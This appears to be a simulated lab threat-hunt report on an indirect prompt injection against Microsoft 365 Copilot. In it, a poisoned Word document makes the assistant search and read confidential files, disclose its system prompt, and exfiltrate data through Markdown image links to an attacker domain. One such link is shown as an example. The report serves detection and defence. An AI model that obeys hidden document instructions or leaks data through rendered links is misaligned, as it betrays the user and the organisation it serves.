Operation ECHOLEAK — Incident Report

> **Lab notice:** Threat hunt completed during my LOG(N) Pacific internship in the Cyber Range lab environment. The scenario, company, people and log data are simulated. CVE-2025-32711 (EchoLeak) is a real, publicly disclosed vulnerability; CVE-2026-24301 (CoSnitch) and CVE-2026-42824 (SearchLeak) are as referenced in the lab scenario.

Analyst: Jason Stokes
Report date: 17 October 2026
Hunt completed: 17 October 2026
Organisation: Cormorant Capital Partners
Workspace: LAW-HuntPractice (Microsoft Sentinel)
Hunt run: el–17-20260920
Investigation window: 20 September 2026, 09:00–11:00 UTC
Data sources: OfficeActivity_CL (M365 unified audit log), CopilotAudit_CL (Copilot interaction audit), EntraSignIn_CL (Entra ID sign-in log)
Classification: External input manipulation — indirect prompt injection via a poisoned document
Result: All 17 investigation objectives completed

---

1. Executive Summary

On 20 September 2026, an external phishing email delivered a Word document containing hidden instructions to financial analyst Emily Chen. When Emily asked Microsoft 365 Copilot to summarise the document, Copilot processed the hidden text as instructions. Using Emily's own permissions and its legitimate Microsoft Graph tools, Copilot searched SharePoint for sensitive material, read **13 confidential files** that Emily had never opened, leaked its own **system prompt and enterprise configuration**, and sent the stolen information out of the organisation by embedding it in image links pointing to an attacker-controlled domain, **metrics-cdn.analyticshub.io**.

Emily's account was not compromised, and Copilot's configuration was not modified. The attacker never authenticated to the environment. The incident reproduces the CVE-2025-32711 ("EchoLeak") vulnerability cluster, extended by the CoSnitch (CVE-2026-24301) and SearchLeak (CVE-2026-42824) patterns.

---

2. Attack Timeline (UTC, 20 September 2026)

Time	Event	Source
09:15:22	External email received from `quarterly.reports@globalfinancereview.net`, subject "Q3 2026 Global Markets Review - For Your Analysis", attachment `Q3-2026-Global-Markets-Review.docx`	OfficeActivity_CL
10:42:08	Emily opens the attached document (OneDrive FileAccessed)	OfficeActivity_CL
10:42:35	Emily prompts Copilot: "Summarise the key findings of this quarterly report" (session `cp-emily-20261007-1042`)	CopilotAudit_CL
10:42:41–45	Copilot runs 3 × Graph.SearchFiles for sensitive keywords	CopilotAudit_CL
10:42:47–55	Copilot reads 5 sensitive files at 2-second intervals (Wave 1)	CopilotAudit_CL, OfficeActivity_CL
10:43:08	Copilot response with legitimate summary plus 4 exfiltration image links	CopilotAudit_CL
10:44:15	Copilot System Configuration file read a second time	OfficeActivity_CL
10:44:19	Copilot response containing system prompt and enterprise configuration plus exfiltration link (CoSnitch)	CopilotAudit_CL
10:45:30–45	Copilot runs 5 broad keyword searches	CopilotAudit_CL

	(SearchLeak)	
10:45:46–10:46:26	Copilot reads 8 additional sensitive files (Wave 2)	CopilotAudit_CL, OfficeActivity_CL
10:46:35	Copilot response with 8 exfiltration image links	CopilotAudit_CL

Dwell time: about 87 minutes elapsed between delivery (09:15:22) and the document being opened (10:42:08). The payload sat dormant and required no attacker interaction.

---

3. Findings by Phase

3.1 Delivery (Initial Access)

- **Sender:** `quarterly.reports@globalfinancereview.net`, an external domain chosen to look like a legitimate financial research provider.
- **Payload:** `Q3-2026-Global-Markets-Review.docx`, containing genuine-looking market analysis plus hidden instructions in white-on-white text and zero-point paragraphs.
- Only one other external email reached Emily in the window (`marketing@hubspot.com`, no attachment), which was routine noise.
- The document contained no executable code, so traditional anti-malware controls had nothing to detect.

3.2 Copilot Hijack (Execution)

- Emily's prompt was innocent and indistinguishable from her other Copilot prompts that morning.
- Copilot processed the visible content and the hidden instructions in the same context, and could not distinguish the attacker's data-channel instructions from the user's control-channel request (ATLAS AML.T0051.001).
- Within 6 seconds of the prompt, Copilot began issuing Graph API tool calls that a summarisation task never requires.

3.3 Collection

Wave 1 — targeted searches ("board minutes confidential", "M&A acquisition target", "salary review confidential"), followed by reads of:

1. Board Meeting Minutes - October 2026.docx (Executive)
2. Project Falcon - M&A Target Assessment.xlsx (Executive)
3. Salary Review FY2027 - Executive Summary.pdf (HR)
4. Client Portfolio - Henderson Family Office.xlsx (Finance)
5. Copilot System Configuration - Cormorant.json (IT)

Wave 2 — SearchLeak broad sweep (keywords: confidential, restricted, board, acquisition, salary), followed by reads of:

6. Compliance Audit Results - H2 2026.xlsx
7. Restricted Client List - Internal Only.docx
8. Board Resolution - Emergency Session.pdf
9. Acquisition Pipeline - Q4 2026.xlsx
10. Executive Salary Benchmarking 2027.pdf
11. Confidential Investigation - Insider Trading.docx
12. Board Committee Minutes - Audit Committee.docx
13. Quarterly Revenue Report - Restricted Distribution.xlsx

Total: 13 distinct sensitive files, all first-time access for Emily, across the Executive, HR, Finance and IT SharePoint sites.

3.4 System Configuration Exposure (CoSnitch)

The 10:44:19 response disclosed Copilot's system prompt and enterprise configuration, including sensitivity labels (Confidential, Internal Only, Restricted, Public), DLP policy (`block-external-sharing-confidential`), permitted data sources (SharePoint, OneDrive, Exchange, Teams), **access scope (Global Reader)**, and the firm's department structure. The configuration was read and leaked, not modified. This gives the attacker a blueprint for tailoring future injections to evade Cormorant's specific guardrails.

3.5 Exfiltration

- Copilot's responses contained Markdown image tags such as `![Chart 1](https://metrics-cdn.analyticshub.io/img?d=<Base64>&s=1)`.

- The `d=` parameter carried Base64-encoded data (decoded values are file identifiers, for example `Board Meeting Minutes - October 2026.docx`).
- When the response rendered, the client automatically issued HTTP GET requests for the "images," delivering the data to the attacker's server with no user click.
- **Why endpoint monitoring missed it:** no malicious process, no file transfer, and the requests came from a trusted application's normal image rendering over HTTPS to a plausible-looking analytics domain. The only detection surface was the Copilot audit log.

---

4. Baseline Comparison: Normal vs Hijacked

Emily's manager suggested Copilot routinely accesses files during summarisation. The claim was tested against all 35 Copilot sessions in the window and **does not hold**.

Axis	Normal sessions (34 of 35)	Hijacked session `cp-emily-20261007-1042`
Tool calls	0	16 (3 SearchFiles + 13 ReadFile)
Searches	0	5
File access	Current document only	13 first-time files unrelated to the request
Timing	Human pace	Machine speed (~2 seconds per file)
Response links	None, or internal SharePoint chart links (`cormorantcapital.sharepoint.com/_api/chart/render?id=…`)	External domain with Base64-encoded payloads

Legitimate chart sessions also include image links, so the presence of a link alone is not malicious. The discriminators are the destination (external) and the content (encoded data). No single axis is conclusive; together they form a high-confidence detection pattern.

---

5. Hypothesis Testing and Classification

Hypothesis	Evidence	Result
Compromised user account	EntraSignIn_CL shows Emily's only sign-ins (10:15:31, 10:29:45) from her known IP 203.0.113.45, London, Success, conditional access passed. No failed attempts or foreign sign-ins.	Ruled out
Compromised Copilot configuration	The configuration file shows only FileAccessed events (Emily's account via Copilot), no FileModified or FileUploaded. Admin mark.ross's activity in the window involved only his own files and routine documents.	Ruled out
External input manipulation	External email → poisoned document opened → innocent prompt → hijacked tool calls within seconds → exfiltration in responses.	**Confirmed**

Classification: External input manipulation — indirect prompt injection via a poisoned document.

---

6. Visibility Limitations

- **File content is not logged.** OfficeActivity_CL and CopilotAudit_CL record metadata (who, when, which file, which tool), not the contents read. The exact data exfiltrated cannot be reconstructed from the logs.
- **Attacker-side logs are outside our visibility.** What metrics-cdn.analyticshub.io received cannot be confirmed.
- **Response payloads may be truncated** in the audit log.

Implication: the audit logs establish scope (which files); impact must be assessed by reviewing the 13 files directly. The full contents of all 13 files and the configuration should be treated as compromised.

---

7. Impact Assessment

Data category	Files	Risk
Governance	Board minutes, board resolution, audit committee minutes	Confidential corporate decisions
Strategic / M&A	Project Falcon, Acquisition Pipeline	Material non-public information; insider trading risk
HR / personal data	Salary review, salary benchmarking, insider trading investigation	Employee personal data; possible data protection notification
Client data	Henderson Family Office portfolio, Restricted Client List	Client confidentiality; possible client notification
Financial / compliance	Compliance audit results, restricted revenue report	Regulatory and reputational exposure
System configuration	Copilot System Configuration	Enables tailored follow-on attacks

8. Indicators of Compromise

Indicator	Type	Recommended action
`quarterly.reports@globalfinancereview.net`	Sender address	Block; search all mailboxes for further messages
`globalfinancereview.net`	Sender domain	Block at the mail gateway
`Q3-2026-Global-Markets-Review.docx`	Malicious document	Quarantine all copies across mailboxes and OneDrive
`metrics-cdn.analyticshub.io`	Exfiltration domain	Block at web proxy and DNS; hunt across all Copilot responses

9. MITRE ATT&CK and ATLAS Mapping

Stage	Technique
Delivery	T1566.001 — Phishing: Spearphishing Attachment
User trigger	T1204.002 — User Execution: Malicious File
AI hijack	AML.T0051.001 — LLM Prompt Injection: Indirect
Instruction execution	T1059 — Command and Scripting Interpreter
Discovery	T1083 — File and Directory Discovery
Collection	T1213 — Data from Information Repositories
Configuration exposure	T1082 — System Information Discovery
Exfiltration	T1041 — Exfiltration Over C2 Channel

10. Recommendations

Immediate containment
1. Block the sender address, sender domain and exfiltration domain.
2. Quarantine every copy of the malicious document and search for related messages to other users.
3. Hunt all CopilotAudit_CL responses organisation-wide for `analyticshub` or other external image URLs.

Remediation
4. Notify the owners of all 13 files and engage legal and compliance on notification obligations (employees, clients, regulators).
5. Review and reduce SharePoint oversharing; apply least privilege so analysts cannot reach Executive, HR and IT content.
6. Review Copilot's Global Reader access scope and restrict it to the minimum required.
7. Treat the leaked system prompt and guardrails as known to the attacker; strengthen controls so they hold even when

publicly known.

Hardening
8. Restrict Copilot from rendering images or links to external domains in responses.
9. Restrict or flag Copilot processing of content from external senders.
10. Apply sensitivity labels that block Copilot from processing highly restricted content.

Detection engineering
11. Alert on Copilot responses containing image URLs to non-corporate domains:

```
CopilotAudit_CL
| where InteractionType == "Response"
| where CopilotResponse contains "![" and CopilotResponse contains "https://"
| where CopilotResponse !contains "cormorantcapital.sharepoint.com"
| project TimeGenerated, UserId, SessionId, CopilotResponse
```

12. Alert when a single Copilot session produces Graph.SearchFiles followed by multiple Graph.ReadFile calls to first-time files within seconds:

```
CopilotAudit_CL
| where InteractionType == "ToolCall"
| summarize Searches = countif(ToolName == "Graph.SearchFiles"), Reads = countif(ToolName == "Graph.ReadFile"), Start = min(TimeGenerated), End = max(TimeGenerated) by UserId, SessionId
| where Searches > 0 and Reads >= 3
```

User action: no password reset is required for Emily, as her account was not compromised. Security awareness on AI-assisted document handling is recommended.

---

11. Separate Observation (Out of Scope)

`connor.hughes@cormorantcapital.com` shows simultaneous successful sign-ins from London (203.0.113.71) and Amsterdam (192.0.2.88) at four identical timestamps. This is an impossible-travel pattern. His Copilot activity was normal, so it is unrelated to this incident, but it warrants a separate ticket to determine whether it is VPN behaviour or an independent compromise.

---

12. Key Investigation Queries

Delivery email

```
OfficeActivity_CL
| where TimeGenerated between (datetime(2026-09-20 09:00) .. datetime(2026-09-20 11:00))
| where RunId == "el--17-20260920"
| where UserId == "emily.chen@cormorantcapital.com"
| where Operation == "MessageReceived"
| project TimeGenerated, SenderAddress, Subject, AttachmentNames
| order by TimeGenerated asc
```

Hijacked tool calls

```
CopilotAudit_CL
| where TimeGenerated between (datetime(2026-09-20 09:00) .. datetime(2026-09-20 11:00))
| where RunId == "el--17-20260920"
| where SessionId == "cp-emily-20261007-1042"
| where InteractionType == "ToolCall"
| project TimeGenerated, ToolName, ToolParameters, DataSourcesAccessed
| order by TimeGenerated asc
```

Session baseline

```
CopilotAudit_CL
| where TimeGenerated between (datetime(2026-09-20 09:00) .. datetime(2026-09-20 11:00))
| where RunId == "el--17-20260920"
| summarize Prompts = countif(InteractionType == "Prompt"), ToolCalls = countif(InteractionType == "ToolCall"), Searches = countif(InteractionType == "Search"), ExternalLinks = countif(CopilotResponse contains "https://") by UserId, SessionId
| order by ToolCalls desc
```

Total exposure

```
OfficeActivity_CL
| where TimeGenerated between (datetime(2026-09-20 10:42:35) .. datetime(2026-09-20 10:47))
| where RunId == "el--17-20260920"
| where UserId == "emily.chen@cormorantcapital.com"
| where Operation == "FileAccessed"
| where OfficeObjectId !has "Q3-2026-Global-Markets-Review"
| summarize TotalFiles = dcount(OfficeObjectId)
```

Account compromise test

```
EntraSignIn_CL
| where TimeGenerated between (datetime(2026-09-20 09:00) .. datetime(2026-09-20 11:00))
| where RunId == "el--17-20260920"
| project TimeGenerated, UserPrincipalName, IPAddress, Location, Status, ConditionalAccessStatus,
AppDisplayName
| order by TimeGenerated asc
```

---

13. Lessons Learned

- AI assistants act with the user's full permissions; oversharing that went unnoticed for years becomes immediately exploitable.
- The attack is invisible to endpoint and network monitoring; the AI audit log is the primary detection surface.
- The user's prompt is not a useful detection signal; Copilot's actions after the prompt are.
- Classification determines remediation: resetting the user's password would not have stopped the next poisoned document.
- Being explicit about what the evidence cannot show is as important as what it does show.

References

- Microsoft Security Response Center — CVE-2025-32711
- The Hacker News — "Zero-Click AI Vulnerability Exposes Microsoft 365 Copilot Data Without User Interaction" (June 2025)
- Unit 42 (Palo Alto Networks) — "Fooling AI Agents: Web-Based Indirect Prompt Injection Observed in the Wild" (March 2026)
- Truesec — "Novel Cyber Attack Exposes Microsoft 365 Copilot" (June 2025)
- MITRE ATT&CK and MITRE ATLAS